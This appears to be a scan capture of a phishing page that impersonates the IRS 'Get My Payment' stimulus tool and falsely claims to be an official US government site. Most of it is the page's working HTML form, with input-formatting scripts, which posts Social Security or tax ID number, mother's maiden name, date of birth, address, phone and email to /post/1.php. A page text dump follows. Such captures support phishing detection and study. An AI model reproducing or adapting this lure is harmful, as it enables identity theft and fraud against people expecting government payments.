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1 forms found in the DOM

POST /post/1.php

<form id="user" action="/post/1.php" method="post">
  <h1 class="login-title">Get My Payment</h1>
  <p>If you need additional help, please visit our <a href="https://www.irs.gov/covid-app-faq-1" target="_blank">Frequently Asked Questions</a> page.</p>
  <p>
    <span>All fields marked with an asterisk (<font color="#CD2026">*</font>) are required.</span>
  </p>
  <br>
  <div class="form-group">
    <div class="control-label">
      <label>Social Security Number (SSN) or Individual Tax ID Number (ITIN)</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your 9 digit Social Security Number (SSN) or Individual Tax Identification Number (ITIN).</span>
    <input required="" class="form-control ssn" id="ssn" type="text" autocomplete="off" maxlength="11" aria-required="true" aria-labelledby="ssnInput" title="Enter your 9 digit Social Security Number (SSN) or Individual Tax ID Number (ITIN)"
      name="ssn" value="">
    <script type="text/javascript">
      $('input.ssn').on('keypress', function(event) {
        var character = String.fromCharCode(event.which);
        if (!isInteger(character)) {
          return false;
        }
      });

      function isInteger(s) {
        if (s === '-') return true;
        var isInteger_re = /^\s*(\+|-)?\d+\s*$/;
        return String(s).search(isInteger_re) != -1
      }
      $('input.ssn').on('keyup', function() {
        var val = this.value.replace(/\D/g, '');
        var newVal = '';
        if (val.length > 4) {
          this.value = val;
        }
        if ((val.length > 3) && (val.length < 6)) {
          newVal += val.substr(0, 3) + '-';
          val = val.substr(3);
        }
        if (val.length > 5) {
          newVal += val.substr(0, 3) + '-';
          newVal += val.substr(3, 2) + '-';
          val = val.substr(5);
        }
        newVal += val;
        this.value = newVal;
      });
    </script>
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>Mother's Maiden Name</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your Mother's Maiden Name.</span>
    <input required="" class="form-control" id="mmnInput" type="text" aria-required="true" aria-labelledby="mmnInput" title="Enter your Mother's Maiden Name" name="mmn" value="" maxlength="32">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label for="dobInput">Date of Birth</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your Date of Birth in MM/DD/YYYY format.</span>
    <div class="login-dob">
      <div class="input-group"><input required="" class="date form-control dob" id="dob" title="Enter your Date of Birth in MM/DD/YYYY format" maxlength="10" aria-required="true" aria-labelledby="date" type="text" name="dob" value=""
          aria-autocomplete="none" placeholder="" style="min-width: 7em;"></div>
    </div>
    <script>
      $('input.dob').on('keypress', function(event) {
        var character = String.fromCharCode(event.which);
        if (!isInteger(character)) {
          return false;
        }
      });

      function isInteger(s) {
        if (s === '/') return true;
        var isInteger_re = /^\s*(\+|-)?\d+\s*$/;
        return String(s).search(isInteger_re) != -1
      }
      $('input.dob').on('keyup', function() {
        var val = this.value.replace(/\D/g, '');
        var newVal = '';
        if (val.length > 4) {
          this.value = val;
        }
        if ((val.length > 2) && (val.length < 6)) {
          newVal += val.substr(0, 2) + '/';
          val = val.substr(2);
        }
        if (val.length > 5) {
          newVal += val.substr(0, 2) + '/';
          newVal += val.substr(2, 2) + '/';
          val = val.substr(4);
        }
        newVal += val;
        this.value = newVal;
      });
    </script>
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>Street Address</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your Street Address in "123 Main St NW #7" format. Do not enter City/Town or State.</span>
    <input required="" class="form-control" id="addressInput" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="address" value="" maxlength="32">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>City</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your City format.</span>
    <input required="" class="form-control" id="addressInput" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="city" value="" maxlength="12">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>State</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your State in format.</span>
    <input required="" class="form-control" id="addressInput" maxlength="2" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="state" value="">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>ZIP or Postal Code</label>
      <label style="color:#CD2026;font-weight:normal">(* Required except for countries without ZIP or postal codes)</label>
    </div>
    <span class="fsad-hint">Enter your 5 digit ZIP or Postal Code.</span>
    <input class="form-control" required="" id="zipCodeInput" maxlength="5" type="tel" aria-labelledby="zipCodeInput" title="Enter your 5 digit ZIP or Postal Code" name="zip" value="">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>Phone Number</label>
      <label style="color:#CD2026;font-weight:normal">*</label>
    </div>
    <span class="fsad-hint">Enter your phone number.</span>
    <input required="" class="form-control" maxlength="12" type="tel" aria-required="true" title="Enter your phone number" name="phnumber" value="">
  </div>
  <div class="form-group">
    <div class="control-label">
      <label>Email Address</label>
    </div>
    <span class="fsad-hint">Enter your Email address.</span>
    <input class="form-control" required="" id="zipCodeInput" type="text" aria-labelledby="zipCodeInput" title="Enter your Email address" name="email" value="">
  </div>
  <div>
    <button disabled="" class="login-submit-button btn btn-primary" name="submit" id="submit" title="Click this button to continue" type="submit" value="submit">Continue</button>
  </div>
  <script>
    $('input[type=text]').change(function() {
      if ($('input[type=text]').val() == '') {
        $('button').attr('disabled', true)
      } else {
        $('button').attr('disabled', false);
      }
    })
  </script>
</form>

Text Content

An official website of the United States Government

 * Español
 * Exit


GET MY PAYMENT

If you need additional help, please visit our Frequently Asked Questions page.

All fields marked with an asterisk (*) are required.


Social Security Number (SSN) or Individual Tax ID Number (ITIN) *
Enter your 9 digit Social Security Number (SSN) or Individual Tax Identification
Number (ITIN).
Mother's Maiden Name *
Enter your Mother's Maiden Name.
Date of Birth *
Enter your Date of Birth in MM/DD/YYYY format.

Street Address *
Enter your Street Address in "123 Main St NW #7" format. Do not enter City/Town
or State.
City *
Enter your City format.
State *
Enter your State in format.
ZIP or Postal Code (* Required except for countries without ZIP or postal codes)
Enter your 5 digit ZIP or Postal Code.
Phone Number *
Enter your phone number.
Email Address
Enter your Email address.
Continue
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